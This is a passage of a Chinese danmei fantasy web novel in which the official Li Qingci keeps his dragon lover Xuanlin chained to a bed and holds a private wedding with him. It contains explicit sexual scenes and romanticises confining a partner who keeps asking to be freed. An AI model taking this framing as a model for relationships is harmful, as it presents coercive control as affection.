玄鳞也笑了起来,亲了亲他的鼻尖:“小崽儿真乖,去把锁链给我解开。” 李青辞心里霎时一凉,脸上的笑意僵住,一下子找不到自己的声音了,他吞咽两下,才哑着嗓子开口:“解开之后你要干嘛?” 玄鳞弹了下他的脑门:“你是舒服高兴了,我这还挺着呢,出去泡水,消消火。” 李青辞闭了闭眼,眼神锋利起来:“玄鳞,你总让我乖,我学乖了,可是你却没有,你为什么就不能乖一点呢?” 玄鳞揉他的嘴唇:“你说什么呢?嘴里嘟嘟囔囔的。” 李青辞看着他,一字一顿道:“玄鳞,我再跟你说一遍,只要我还能动,能喘气,我就不可能给你解开锁链。” 玄鳞脸上的笑容也消失了,脸色阴沉下来:“你是不是怎么说都不听?” 李青辞点头:“是呀,跟你学的,你不是也是吗?” 玄鳞一把推开他:“李青辞,你真是没心肝,你竟然这样对我!还有脸指责我,自己爽完了就不管我的死活!我真想把你那玩意儿给你掰断!” 李青辞凑过去碰他:“你也少冤枉我,我没说不管。” 玄鳞僵住,很快颓然:“算了,我不想杀人。” 李青辞慢慢握住,诧异不解道:“你在胡说什么,你现在是人呀,而且只有一个,是因为隔着衣服吗,我没摸到倒刺。” 玄鳞愣住了,立刻看自己的爪子,是没有鳞片覆盖的手。 对呀,他现在是只有一根的人。 很快,他又沮丧起来:“人怎么了!我就算是人也很久,现在天都快亮了,你能不吃不喝不睡一直让我插着吗?” 李青辞抿着嘴,他好不容易才能坦然自若些,这下又不自在了:“玄鳞,你说话别这么糙,委婉点行吗?” 玄鳞冷笑:“刚才怎么不嫌我说话糙,小东西挺精神,现在爽完了,立马就换了个嘴脸,李青辞,你可真行,翻脸比翻书还快!” 李青辞听完呆住,愣愣地张着嘴。 玄鳞拍开他的手:“别碰我,就只会拱火。” 李青辞依旧怔着,嘴唇皱巴巴的,像是渴狠了,也是,淌了那么多水,也该喝水了。 身上散发着一股馋人的气息,玄鳞忍不住想把他含进嘴里,好好舔着尝尝。 “不给我解开锁链就快滚,出去喝水吃饭,别在我眼前晃悠。”玄鳞把他往外推。 李青辞咽着干哑的嗓子:“那你怎么办?” “用不着你管,少操不该操的心。” 李青辞翻身坐起来,脑袋突然晕眩一下,他双手撑在床上,没有逞强。 万一弄到一半,他睡过去了,玄鳞不得气死。 “那你自己待着吧,我出去了。”李青辞缓过了神,慢慢下床。 刚站在地上,就忍不住腿软。 他忍着羞窘,快步走到衣柜边,捞着一件衣服披在身上。 出去后,他先喝了半壶茶,去浴房好好沐浴一番,困得差点睡在水里。 他强撑着,打起精神坐起来,此时,天边已经亮起熹微,他回到外间吃早膳。 一顿饭吃得昏昏欲睡,他回到内室,抱着干净被褥搁在榻上,看着趴在床上的黑色人影。 拿着湿帕子给他擦手,李青辞擦得仔细又认真。 过了会儿,李青辞小声开口:“你先挪一下好不好?我把床褥换了。” 沉默两息,玄鳞一脸烦躁地拍了一下床,神色郁郁地坐起来。 他晃着两条腿,弓着腰站在床尾:“李青辞!抠死你算了,用这么短的链子拴我,这玩意儿很值钱吗?弄长点能穷死你!” 李青辞抿了抿嘴,到底没敢顶嘴。 这链子确实很值钱,前前后后用了九道工序处理,六尺多长的链子,耗时一年,总共花费了近五万两金子。 做得短,倒不是因为钱的问题,而是因为有些材料稀缺,再加上耗费心力法术,赵玄真和其他找来的道士也扛不住了。 李青辞换完床褥,跪在床边,凑过去亲玄鳞的小腿:“对不起,这个是我委屈你了。” 玄鳞霎时间僵住,低低咒骂一声,把人从地上薅起来,又气又恼:“知道委屈我,你就不能给我解开吗?” 李青辞道:“我错了,对不起,你别生气。” “就知道嘴上认错,一点都不改。” 李青辞不接这个话茬了,抱着被子躺下:“玄鳞,我好困呀,你要抱着我睡会儿吗?” 玄鳞撑着额头,兀自平心静气,他深吸了一口气:“滚,自个睡吧,别烦我。” 李青辞哦了一声,往里挪了挪,整个人偎在玄鳞身边,捞住他一只袖子攥在手里,眨了眨眼,就立刻昏睡了过去。 不知过去多久。 玄鳞长舒一口气,转头去看睡得香甜、小脸红扑扑的人,忍不住伸手掐他。 软乎的脸肉被揪起来一小撮,用指腹捻着,从眉心到鼻尖被一一揉捏,李青辞的眼睫被来回拨弄,他皱了皱脸,努着嘴咕哝,含糊喊了一声:“……玄鳞。” 他歪着脑袋,把脸闷在温凉的手心里,又安稳睡去。 哼。 玄鳞猛地把手抽走,翻过身,留下一个充满怨念的黑色背影。 第67章 玄鳞,你愿意嫁给我吗?…… 晚间。 李青辞坐在床边,手里拿着红绸,专心致志地编花球。 忽然,背后的依靠挪开了,李青辞趔趄一下。 他扭过头:“你干嘛突然闪我?” 玄鳞冷哼一声:“我不想让你挨着我。” “都过去一天了,你怎么还生气?”李青辞无奈,“我昨天真是因为一脚踩空,踏进淤泥里了,不想熏到你,才先洗的澡。” 玄鳞没吭声,晃了晃腿,带动一阵锁链声。 李青辞往他跟前又凑近了些,缓声道:“现在衙署里公务比较忙,我晚上必须要多留一个时辰,等过了这阵子就好了,到时候我肯定赶在天黑前回来,休沐都在家陪着你,哪都不去,好不好?” 玄鳞撩开眼皮,睨了他一眼,转过头,仍是一副不大高兴的样子。 李青辞抿了抿嘴,举着手里的红绸花球,在他眼前晃了晃:“你看,好看吗?” 玄鳞扫了一眼,嗤道:“歪歪扭扭,软塌塌的,哪门子好看!” 李青辞噎了噎,坦然道:“确实不太好看,没事,离成亲还有一个多月呢,我再练练。” 玄鳞扯着嘴角嘲讽:“这块破布都快让你揉烂了吧,这么些时日,你夜夜摆弄,弄成了吗?两只爪子天天捣鼓这个玩意儿,觉也不睡!” 李青辞笑了笑:“这个是咱俩成亲的时候手里要牵的东西,咱俩一人牵一边,是个很重要的东西,我想把它做好一点。” 玄鳞不吭声了。 李青辞看着手里被揉皱的红绸,叹了口气,这块布确实不太像样子了。 他拎着花球出去,换了一块新布。 刚起了个头,他就开始打哈欠。 “滚出去打哈欠,别在这儿影响我睡觉。”玄鳞晃了下腿。 李青辞放下红绸,躺进被窝里,往他身上一趴:“知道了,我这就睡了。” 玄鳞推了几下推不开,怎么用力都推不开,只好捏着鼻子不情不愿地让人趴在自己身上。 一夜好眠。 第二天清晨。 李青辞睁开眼,察觉自己头上顶了个大脑袋,他晃了晃头。 没反应。 李青辞用脚去踢玄鳞的腿,踢了两脚,他腰间的手臂松开了,头上的脑袋也挪走了。 他翻身坐起来把被子掖好,下床去洗漱。 视线一瞥,看见了搁在床尾的红色花球,每个褶皱的大小都一模一样,看着非常整齐漂亮。 李青辞不禁翘起嘴角笑了起来,他快步走出去。 等收拾好以后,他小跑着回到床前,猛地扑在玄鳞身上,凑过去亲他的下巴,又扯过他的右手,每根手指挨个亲一遍。 “真好的手啊!怎么这么巧!” 这只手似乎反应很慢,等亲完了才想起来收回去。 “玄鳞,我还能磨蹭一会儿,你要疼疼我吗?” 得到一声冷哼。 “好吧,那我走了。”李青辞亲了下他的手背,放下手离开。 反正天天晚上都疼他,也不缺这一次。 天气渐渐转寒,李青辞拢紧披风,策马朝皇宫而去。 他现在官做大了,要上朝了,每天要早起两刻钟,骑马快一点,临走前能和玄鳞多说会儿话。 等下了朝,他回衙署办公。 放衙时,工部左侍郎喊他小酌一杯,李青辞给拒了。 家里还有个不高兴的等着他哄呢,他不想把他宝贵的时间浪费在无关紧要的人身上。 等回到家后。 李青辞先拿着手炉把自己身上烘热,然后走进内室,当着玄鳞的面换衣服。 床前摆了一张小茶几,李青辞坐在蒲团上,低头吃饭。 他本来没想在这里吃,怕玄鳞闻见味道嫌烦,有次他在外头吃饭,玄鳞很生气地喊他,让他滚过来,他咬着肉饼就过去了。 到了跟前,玄鳞什么也没说,就瞪了他一眼。 他坐在床边,吃完了一整张肉饼,玄鳞也没说什么,从那以后,他就把饭端到床边来吃。 等吃完饭,喝过清茶漱口,李青辞收拾碗筷,打开门窗通风透气。 只要他不在屋里,门永远都是关着的。 乍一吹进来寒风,李青辞冷得直缩脖子,他小跑着钻进被窝里,搂住玄鳞,却被冻了个激灵。 玄鳞现在没有法力,不能给他过热气,想取暖的人只能先把冰凉的身躯捂热,才能获得暖意。 李青辞把手心搓热,去摸玄鳞的脖子:“我的手热乎吗?” “比我暖和不到哪去。”玄鳞拍开他的手,“之前那些水袋呢,给我装俩。” 李青辞笑着答应:“好,晚上就给你做。” 当天晚上。 被窝里多了两个热烘烘的水袋,玄鳞身上的温度与热水近乎一致。 李青辞顶着滴水的脑袋,坐在床边烘头发,他两条腿伸进被窝里,顿时高兴笑了起来:“好暖和呀,以后我也有人暖床了。” 玄鳞摸索着拧他的腿。 李青辞坐着没动,反正也不疼,随便掐吧。 他将头发烘到七八成干,就放下手炉,整个人钻进被窝里,伸手搂住玄鳞。 玄鳞皱眉,摸着他的脑袋,低声训斥:“又弄一头潮潮的头发。” 李青辞道:“今天时间不够了,我还没跟你亲热呢。” 玄鳞不说话了。 李青辞亲他的嘴唇,亲他的下巴,贴着他的脸,笑盈盈道:“我想起来一个词,叫温香软玉,虽然你很硬,一点也不软,身上还是凉的,但是我觉得这个词很贴切眼下的情状。” 是挺贴切的,怀里的人又软又热,头发上还带着一股清香。 李青辞睁圆眼睛,歪头望着玄鳞。 玄鳞伸手罩住他的脸:“你消停会儿,也不嫌虚。” 李青辞眼睛不圆了,眼角耷拉着:“我只是想让你亲亲我,而且那都是前天的事了。” “就只是亲亲?”玄鳞哼了一声,拧了下他的腰,“你禁得住亲吗!” 李青辞推开他,扯过被子蒙在头上。 玄鳞掀开被子,伸手搭在他颈侧,忍不住又训他:“看看你现在虚的!也就昨天困狠了没要疼,哪有你这样的,一会儿一次,一条小溪也禁不住这么流。” 李青辞不可置信地瞪大眼睛,简直六月飞雪,窦娥上身:“你不要瞎说好不好?你也太夸张了吧!我哪有一会儿一次,我也没那么快。” 李青辞又憋闷又委屈:“一晚上也就一两回,又不是天天都有,再说了,这能怪我吗?我这么喜欢你,你又那样亲我,我是个正常男人,我怎么忍得住!” 玄鳞捏他撅起的嘴唇:“那我怎么忍得住?” 李青辞咬住嘴边的手指,悻悻道:“你是人吗?” 玄鳞哽了一下:“行吧,给你舔一回,待会好好睡觉。” 李青辞抬起头,回到刚才那个话题:“对呀,你虽然不是人,可你也是男的,你怎么忍得住。” 玄鳞深吸一口气,冷冷看着他:“不忍住怎么办?去杀人吗?” 李青辞不高兴:“你都不试试,怎么知道我不行。” 玄鳞给了他一记眼刀:“我现在被拴着没有法力,万一你出了好歹,把你试死了,你替我遭天谴?” 李青辞觉得他夸大其词:“我——” 玄鳞捂住烦人的嘴:“你快闭上嘴吧,叭叭的,除了拱火就是气人!” 他捞过被子盖在两人身上,被窝里一片昏暗,热意腾腾,清冽的气味儿和皂角的香味儿揉杂在一起,肌肤相贴,交颈而拥,两颗心蠢蠢欲动。 …… 玄鳞掀开被子,捏起床头的帕子擦嘴,支着腿垂头静坐。 眼皮子底下的人还在失神。 缓了半晌,李青辞回过神后,赶紧起来去端水。 玄鳞胡乱漱了两下口。 李青辞拿着干净帕子给他擦手,声音小得可怜:“……你…你怎么又咽了?” 玄鳞冷哼:“不然怎么办?我一直搁嘴里含着?还是吐到你嘴里?还是由着你弄脏被子?被窝刚暖热又要换,你铺个床慢死了,再说了,就你这德行,我哪知道什么时候。” 李青辞垂着眼不说话了,散下来的头发遮住红彤彤的脸。 “行啦,别在这装鹌鹑了。”玄鳞扇了一下他的脑袋,“去,把盆放下,赶紧上来睡觉。” 李青辞低低应了一声,立刻照做。 夜明珠被合上,帷帐散下。 两人重新抱在一起,躺在温暖的被窝里。 玄鳞咂摸两下,啧了声:“我嘴里全是你的味儿。” 李青辞闷在他肩上,不知道该说什么,玄鳞还没有娶进门呢,他这样是不是显得有些轻浮。 要不要克己守礼一些,忽然,他摸到了自己手上的茧子。 李青辞释然了,他今年都三十四岁了,还拘束什么呀。 他伸手搂住玄鳞的脖子,一脸坦然地凑上去亲他:“玄鳞,我好喜欢你呀,我喜欢现在的踏实日子。” 玄鳞冷着脸,被迫接受亲昵。 渐渐,李青辞搂紧的手臂松开,沉沉睡了过去。 玄鳞盯着他看了一会儿,挠了挠他的喉结,闭紧的嘴巴张开喘气。 趁这个时机,玄鳞给他喂了半滴精血。 唇齿鼻息间,全是自己雌兽的味道,玄鳞眼角眉梢尽是愉悦餍足,他无意识地抖腿,却带起沉闷的哗啦声。 脸上的愉悦没了,玄鳞磨了磨牙,恨恨地在那个红扑扑的脸蛋上咬了一口。 又是一夜好眠。 李青辞一觉醒来,只觉神清气爽,双眸明亮有神,看东西都清晰了。 果然,人的心情好,身体也会变好。 他用脑袋拱了几下玄鳞的脖子,狠狠抱了下他的腰,在他身上缠磨了一会儿,然后才翻身起床。 李青辞开开心心地去上衙,高高兴兴地下衙。 临近寒冬,屋外大雪纷飞,屋里却温暖如春。 这座屋子底下建了地龙,门口建了水车,屋里既温暖又湿润。 李青辞站在门口,快速抖掉身上的雪,他解下披风,推开门就往内室跑。 两条长腿快速交叠,带出一股风来。 李青辞脸上洋溢着灿烂的笑容,他一把扑过去,紧紧抱住玄鳞,使劲儿贴他的脸。 玄鳞坐得稳稳当当,由着这人在他身上起腻,虽然他绷着嘴角,但是眼里无法自控地流露出喜悦。 “啊!啊!”李青辞开心地喊了两嗓子,大笑道,“明天就放假了,我有半个月的假期!” 李青辞高兴得不行,站在床边转了几圈,又一脑袋扎进玄鳞怀里:“东西都置办的差不多了,刚才我已经把喜服拿回来了,等会儿吃完饭咱俩试试,合身的话就不用改了,大后天咱俩就能成亲了。” “我好高兴啊!玄鳞!我终于可以娶你了!” 玄鳞沉着脸道:“瞎乐什么,我可没同意嫁给你。” 李青辞嘿嘿笑了起来,捧着他的脸,在他嘴上重重亲了一口:“我不管,你嫁也得嫁,不嫁也得嫁,我要当一回强取豪夺的恶霸!” 玄鳞冷嗤一声:“狗官!” 李青辞哈哈大笑起来:“你从哪儿学的这个词?” 玄鳞皱眉回忆,啧了声:“记不清了,反正听见有人这样说过。” “行吧。”李青辞很爽快地认下了这个骂名,“等着吧,再过两天,我这个狗官就要娶你了。” 玄鳞被迫嫁给一个强取豪夺的狗官,脸色看起来很不高兴的样子。 李青辞枕在他肩上腻歪了一会儿,一咕噜爬起来,跳下床去吃饭。 床上放置了一个茶几,上面堆着一叠红纸,纸上用掺着金粉的上好徽墨写着“喜”字。 李青辞吃完饭,坐在床上和玄鳞面对面剪窗花。 片刻后。 玄鳞忍无可忍道:“哪凉快待哪去!看你这剪的什么东西,难看死了!” 李青辞看着自己手里的东西,又看着玄鳞手里惟妙惟肖的花样,干巴巴笑了两声。 他放下红纸和剪子,绕到玄鳞背后,趴在他身上,双手抱住他的腰,脑袋垫在他肩上,低头看他剪窗花。 玄鳞一边剪东西,一边还得驮着个人,烦躁得不行:“李青辞,你可真行!还说要娶我,这些东西哪一样是你弄的,你劈个葫芦都能把自己的手弄破!” “不让你去弄,你非去,非要爬那么高去挂红布,结果呢?屁股都摔青了,就这,还非要锁着我,我要是好好的,你能摔着吗!” 李青辞避重就轻,指着红纸道:“这上面的字是我写的。” 玄鳞语气讥讽:“怎么,就出了这么点力,你还挺得意?” 李青辞慢慢顺着他的后背:“是啊,你太厉害了,我很多事情都做不好,所以你留在我身边陪着我吧。” 玄鳞冷呵一声:“我看你锁着我,就是想要个奴才,我净天天伺候你了。” 李青辞语气严肃起来,认真纠正他:“你是我的媳妇儿,不是奴才,这句话我不喜欢听,你以后不要再说了。” “行!”玄鳞拍了下桌子,“我这还没过门呢,你就开始威胁我了,我现在被你锁住,动弹不得,以后不知道还要受你多少气。” 李青辞无语地翻了个白眼儿,明明现在还是他挨打,他两条胳膊加俩腿都不够玄鳞一只手摆弄的。 玄鳞又拍了下桌子:“看!就这么敷衍,给我顺两下就完了。” 李青辞深吸一口气,两只手在他背上快速划拉几下,然后跳下床:“我去换喜服,你看看怎么样?” 玄鳞手上一顿,剪子一歪,一张即将要完成的窗花就这么废了。 他就这么举着手,眼神一直落在李青辞身上。 一层一层鲜艳的红衣穿在李青辞身上。 大红的喜服显得端肃庄重,袍身以暗金丝线绣缠枝莲纹,袖口与衣缘滚青缎宽边,腰间束白玉革带,下坠深红穗子。 领缘露出寸许,一根黑色绳子翻出来,在红色上十分显眼。 李青辞抬手而立时,袍摆垂落如静水,行动时衣袂翻飞,又似烈火灼灼,衬得人颀身玉立、风姿卓然。 他穿着这身鲜红如火的喜服,脸上带着比红色更明艳的笑容,快步朝玄鳞走过去,在原地转了个圈,弯下腰问他:“合身吗?” 手里的窗花被攥成一团,玄鳞点头:“好看。” 李青辞脸上的笑容愈发明艳,被清白的珠光和灼灼的红色一衬,漂亮得不像话,世上怎么会有这么漂亮的小崽儿。 李青辞努了努嘴。 玄鳞没舍得让他空等,也不舍得让他多等,立刻揽住他的腰,把人抱在怀里,低头亲在他唇上,还舔了几下,又用鼻尖磨他的脸。 李青辞脸蛋白里透红,气色极佳,眼角眉梢尽是轻松笑意,一看是就是被人好好宠着、疼着、爱着。 李青辞哈哈笑了几声:“好了好了,等会我脱了衣服你再疼我,别把它弄皱了。” 玄鳞又亲了亲他的嘴唇,双手端着他,像捧着一个易碎的瓷器,将他小心搁在地上。 李青辞低头左右看了看,见身上没有什么褶皱,便走到小榻前换下衣服。 他端着玄鳞的喜服,站到床边帮他穿上。 玄鳞腿上有锁链,他就没做裤子,里头的下裳做成了裙子。 其余的都跟他一模一样,两个都是男子的喜服。 玄鳞本来就高,这下又站在床上,李青辞只能高高仰头看着他。 玄鳞理着袖子,垂眸看着底下眼巴巴的人,他没说话,冲人挑了挑眉。 李青辞猛地捂住脑袋蹲下,大声啊了一下:“玄鳞!!!你怎么会这么好看!天哪!我竟然会有一个这么漂亮的媳妇儿!” “至于吗?就换了身衣服而已。”玄鳞嘟囔一句,偏过头,脸上灿烂的笑容与李青辞如出一辙。 李青辞猛地蹿起来,张开手去扑他,临了,才想起来不能把衣服弄皱,他赶紧止住动作,跪在床边,双手胡乱挥舞。 “慌什么呢?差点一脑袋栽地上。”玄鳞弯下腰,扯住他一条手臂把人拽回来。 李青辞稳定身形后,捧住他的手,一连亲了好几口:“玄鳞,我知道你心里是愿意嫁给我的,但是你能嘴上亲口说一次吗?” 玄鳞蹲下来跟他平视。 李青辞攥紧他的手掌,眼睛一瞬不瞬地盯着他。 “玄鳞,你愿意嫁给我吗?” 玄鳞垂下眼皮,低嗯一声。 “我愿意。” 第68章 李青辞之妻玄鳞 听见玄鳞应承的一刹那,李清辞瘪了瘪嘴,眼圈瞬间红了,登时流出两行眼泪。 玄鳞啧了一声,头疼道:“你又哭什么?早知道我就不说了。” “不行!”李青辞嚎了一声,嗓子都喊岔劈了,“这怎么能反悔?” 玄鳞抹去他脸上的泪:“你再给我掉一滴泪,我立马就反悔。” 李青辞立刻笑起来:“嘿嘿,不哭了不哭了!” 玄鳞弹了下他的脑门:“行了,把这衣服给我脱了。” 他还是第一次穿衣裳,哪哪都觉得别扭。 “好嘞!” 李青辞将两身喜服叠得整整齐齐,用红布盖好。 剩下的两天。 他们俩把一些细碎的东西弄好,等着吉时临近。 李青辞激动得睡不着,不停地在床下走来走去。 玄鳞也没睡,脸色阴沉地坐着写字。 他堂堂千年蛟龙,修为深厚,一世英名,怎么就写不好这个玩意儿。 李青辞搓了搓大腿,走过去看他,劝道:“好了,你已经写得很好看了,没必要再练了。” 玄鳞推开人:“走开,别影响我。” 李青辞继续走来走去,隔一会儿,就趴在玄鳞背上用脑袋拱他。 在焦急的等待中,天终于亮了。 即使一夜没怎么合眼,李青辞依旧神采奕奕,他一把掀开被子,从床上爬起来,跳下床就出去洗漱。 等他打理好自己,端着一盆清水,回到内室给玄鳞擦衣裳。 玄鳞满心无奈:“都到这时候了,你还要锁着我?给我解开不行吗?” 李青辞抿着嘴,小心抬眼看他。 又在这装可怜。 玄鳞抬手扇了他一巴掌。 有点疼,李青辞搓了搓屁股,也没敢吭声。 他打湿帕子,继续给玄鳞擦衣裳。 玄鳞没阻止他这多余的动作,坦然受之。 两人都换上了喜服,李青辞坐在床边,玄鳞拿着梳子给他梳头,梳了几下实在用不惯,扬手把梳子丢了,用手指给他束发。 李青辞拿着铜镜照了照自己,感觉这是他这一辈子里束发最整齐的一次。 灿烂的笑容落进镜子里,映出眼尾的细纹。 李青辞反手把镜子压下,没再去看。 过了片刻。 玄鳞举着自己胸前的两条麻花辫,眉心蹙成一团:“李青辞,这就是你给我梳的头发?” 李青辞不好意思地搓了搓手。 玄鳞的头发又多又顺滑,他的手本来就不是很灵便,用簪子根本挽不起来,他也不会梳女子的发髻,思来想去就只好给他编了两条麻花辫。 李青辞扯着嘴角笑:“这麻花辫很好看的,你头发又黑又亮,很适合你。” 玄鳞气笑了,用手指戳他的脑门:“你别以为我不知道,这麻花辫儿是小姑娘才梳的。” 李青辞拍了拍他的胸口:“要不你把我的头发拆了,我也梳麻花辫。” 玄鳞将辫子甩到背后:“算了,懒得折腾。” 他都给人当媳妇儿了,梳两条辫子也没什么。 等到了午时。 李青辞捧着家谱和婚书,搁在床上的茶几,朝玄鳞道:“就这,你把你的名字写在这里。” 玄鳞握着笔,动作有些僵硬,一笔一划地写下自己的名字。 李青辞拿起来用嘴使劲吹了吹,虽然在他之后家谱就没了,但现在他和玄鳞是真正意义上的一家人。 【李青辞之妻玄鳞】 李青辞看到这几个字,眼睛又忍不住热了起来,他快速眨巴几下眼睛,压下鼻尖的酸涩。 上个月,水谚来信,说元宝的媳妇生了,虽然跟他同龄的都已经当爷爷了,他如今才娶媳妇儿,但他一点都不亏,因为他娶到的是一个身形高大、心灵手巧、心软善良比天上的仙子还好看的媳妇儿。 “玄鳞,我真的好高兴呀!” 玄鳞伸手给他抹眼泪:“嗯,我看出来了,都高兴哭了,又喜极而泣了是吗?” 李青辞朝他撅嘴。 下一瞬,就得到了一个轻柔的吻。 成亲仪式全程只有李青辞和玄鳞两个人参加。 李青辞不想让旁人看见玄鳞。 拜堂的仪式也很简单。 李青辞自己跪拜天地,跪拜父母的排位。 他起身,拿起红盘上的红绸花球,把其中一端递给玄鳞,两人一人牵着一端,站在床上完成了对拜。 对拜完,两人对视着,双方眼里都是迷茫。 玄鳞先开口问道:“下一步呢,要干什么?” 李青辞挠了挠鼻子:“好像没什么要干的了,没有宾客,我不用去陪酒,接下来等着入洞房就可以了。” 玄鳞道:“行,那就入洞房吧,是在这入吧?” 李青辞嗯了一声,然后摇了摇头:“不行啊,别人入洞房都是晚上,现在还没到日落呢。” 玄鳞疑惑:“那干什么,总不能咱俩一直站到这儿,等天黑吧。” 李青辞揪了揪手里的红绸,想起晚上要做的事,他抿了抿嘴:“要不我先睡个午觉,晚上也好有精神。” 玄鳞皱眉:“晚上该睡觉了你又精神了,你脑子怎么想的?” 李青辞瞪他一眼:“我困了,我现在就想睡觉。” “……啊……行行行,睡睡睡。” 李青辞换下喜服,钻到被窝里。 玄鳞坐在床尾不动:“你自己睡吧,我不想脱来穿去的。” 李青辞哦了一声,他调转方向,脑袋挨着玄鳞的腿,慢慢睡了过去。 玄鳞低头看着他,从天亮到黄昏,再到黑夜。 李青辞一直睡着,玄鳞本来没想叫他,但是想着小崽子这么重视这个成亲,怕他睡过头,醒来又要懊恼难过,便伸手拍了拍他的脸。 “天黑了,该醒了。” 李青辞迷迷瞪瞪嗯了一声,两息后,他突然惊醒,猛地一下坐起来。 “什么时辰了?别耽误了呀,哎呀,千万别睡过头了!” 李青辞着急忙慌地起来穿衣服,伸手拍玄鳞的腿:“你还愣着干什么,快给我梳头呀!” 玄鳞深吸一口气,先拧一下他的脸,然后给他梳头。 李青辞收拾好后,赶紧去桌上点燃龙凤喜烛,他回过头,朝玄鳞交代:“我先出去吃饭,等会儿我进来会先喊你,你把这个帕子顶在头上,就像我这样戴。” 李青辞演示一遍:“你记住了吗?” 玄鳞挑眉:“你再戴一下。” 李青辞照做。 忽然,一只大手先他一步,掀开了他头上的红盖头。 耳畔响起一声低笑:“知道了,去吃饭吧。” 因为一个动作一句话,李青辞莫名脸红起来,明明更没脸没皮的事他都做过了。 怕玄鳞再说什么,他立刻快步走出去。 他吃完饭,又喝了两碗补气养血的汤药,在浴房里认认真真洗了个澡,洗完又禁不住脸红。 到底能坚持到哪一步,他心里也没底。 索性提前做好准备,他备了提气的老参,到时候累了,拿一片在嘴里含着,还有五种止血化瘀的伤药。 另外又熬了一盅燕窝甜汤,等饿了吃。 李青辞想着没什么纰漏了,便端着托盘,站在门外喊了一声:“玄鳞,我要进来了。” “行,过来吧。” 李青辞按下机关,进去后先合好门,然后将托盘搁在床尾的茶几上。 玄鳞戴着红盖头坐在床边。 李青辞看着他,忽然紧张得不行,狠狠攥了攥手,一点点去掀他的盖头。 入目就是一双含着笑意的暗金色眼睛。 李青辞心头猛跳,简直要从嗓子眼蹦出来了。 玄鳞揽过他的腰,把人按在腿上,摸他的心口:“跳这么快,怎么了?” 又抬手摸他的额头。 李青辞白皙的双颊浮上红晕,他眼神飘忽,瞟了玄鳞一眼,快速垂下眼皮。 玄鳞挑了下眉,捏他嫣红的耳垂,意味深长地哦了一声,随即低低笑了起来。 李青辞用脑袋撞他,只用后脑勺示人。 玄鳞扳过他的脸,舔了舔他的嘴唇。 李青辞心跳怦然,他猛地一下窜起来,就跟被蜜蜂蛰了一下似的,却被手臂箍住摁下,他慌乱道:“还没喝合卺酒呢,我去拿!” 玄鳞把他松开了。 李青辞拿着用红绳连起来的两瓣瓢,将其中一端递给玄鳞。 两人四目相对,一饮而尽。 玄鳞皱了皱眉:“这玩意有点苦啊?” 李青辞往他嘴里塞了一颗枣子:“这个甜,压一压。” 玄鳞嚼了两口,挑了下眉:“是挺甜。” 李青辞拆下头上的发冠,拿起剪子,从鬓边剪下一缕头发。 玄鳞神色不解:“好端端的,你剪自己头发干什么?” 李青辞捏住头发:“这是我们凡人的一种仪式,意思是永结同心,结发为夫妻,恩爱两不疑。” 其实也有白头到老,永不分离的意思。 李青辞看着玄鳞依旧年轻的脸庞,没有说出这这句话。 玄鳞摸他的脑袋:“那我是不是也要剪一缕?” 李青辞笑着摇头:“不用,你的头发这么金贵,薅一根给我就行了。” 玄鳞没说话,从鬓边掐下一缕头发递给他。 李青辞看着手里的黑色长发,急促眨了两下眼睛,他把两缕头发用红绳缠起来,小心放入一个红色的锦囊中。 李青辞珍重地握着锦囊,回望玄鳞。 这是他的妻子,是他要相伴余生的人。 明明现在应该很开心、很满足的,可是突然有股心酸泛上来。 “行了,别装鹌鹑了。”玄鳞抽走他手里的锦囊,搁到一旁,把人搂过来,“接下来还要干什么?” 李青辞垂着头说:“接下来要入洞房。” 玄鳞将他散下来的头发捋到耳后:“行,赶紧入吧。” 李青辞低嗯一声,将床边的茶几拉得更近,确保他和玄鳞一伸手能够到。 室内的大明珠太亮了,李青辞不太自在,便把明珠罩住,只留了一对龙凤喜烛。 他散下帷帐,跪坐在玄鳞腿边,抓着他的手问:“你知道怎么入洞房吗?” 玄鳞挑了下眉,显然一副不理解的样子。 李青辞慢慢凑过去与他额头相抵:“就是交尾。” 玄鳞眼睛睁大少许,流露出惊讶:“原来是这么回事儿啊。” 李青辞抿着嘴,抬眼看他。 又羞又怯,偏偏又盛着明晃晃直白的爱恋。 玄鳞怔了怔,猛地把人搂进怀里,圈得紧紧的,用鼻子磨他的脸颊:“真是见不得你这副模样,我一定好好疼你,这次多疼你几回。” 李青辞搂住他的脖子:“我也疼你,你怎么疼我,我都受着。” 玄鳞皱了皱眉,有些不大明白意思。 李青辞解开他身上的喜服,露出里面的黑色衣裳,他跪坐在玄鳞腿。间,低下头:“玄鳞,你能把衣服变没吗?” 玄鳞意识到他想做什么了,急促滚了滚喉结,掐在他腋下,把人提起来搁在腿上:“现在还不行,交不了尾,我先疼疼你。” 玄鳞解去他身上的衣裳,伸手疼他。 李青辞拍开他的手:“为什么不行?” 玄鳞道:“我跟你不一样,你那点东西流就流了,我的金贵着呢,我不想浪费,等再过些时日,就能喂给你了,对你有很大的好处,比我的血效用还强。” 李青辞郁闷道:“我现在不行吗?” 玄鳞捏他撅起来的嘴唇:“不行,你现在身体承受不了我,你忘了上次了,我嘴里就流那么点血,你喝完就烫成那样,真弄进去,你只怕要活活烫死了。” 李青辞又气又恼:“你不早说!害我白准备一番。” 玄鳞愣了愣,仔细嗅他身上的甜香味儿,意识到香味从什么地方来的时候,他深吸了一口气,压下心底翻滚的欲。望,把人搂紧,亲了亲他的耳朵:“好了,不让你空欢喜一场,也不让你白准备,我用手,一样能让你舒服。” 李青辞羞恼:“我不是说这个!我是说我准备的其他东西,我刚刚喝了两大碗补气提神的药,苦死我了。” 玄鳞摸他的肚子:“??是有些鼓,喝这么多呢?” 李青辞嗯了一声,掀开帘子:“外面还备的有山参片,还有甜汤,想着如果你很久的话,我能吃点东西补一补。” 玄鳞听完心里酸软,他知道小崽子准备这些,是不想半道撑不下去扫他的兴。 “怎么这么乖呀,嗯?”玄鳞抱着他,在他身上一个劲儿的揉摸,止不住地在他脸上亲吻,仍是解不了那股想疼他的心。 他怎么会有一个这么乖、这么可心的小崽儿。 玄鳞用嘴唇磨他的脸颊:“小崽儿好乖啊,我现在就疼你。” 李青辞拍开他的手臂:“不要手,我想要你。” 玄鳞呼吸一滞,一把翻过人,照着屁股啪啪扇两巴掌,咬着牙说:“你成心的,故意气我是不是?你个小没良心的,我真想现在捅死你!” 李青辞扭着身子躲开,凑上去贴他的脸,讨好地笑:“别生气别生气,我知道错了,我不说了。” 玄鳞仍不解气,又扇了一巴掌,正想扒了他的裤子疼他,结果怀里的人蹬着腿往外爬。 李青辞扯下玄鳞一根麻花辫上的红绸,绑好自己的头发:“我不想要了,我们做点其他的事吧,我现在一点都不困,早知道下午就不睡了。” 玄鳞拧着眉心看他:“要做什么?” 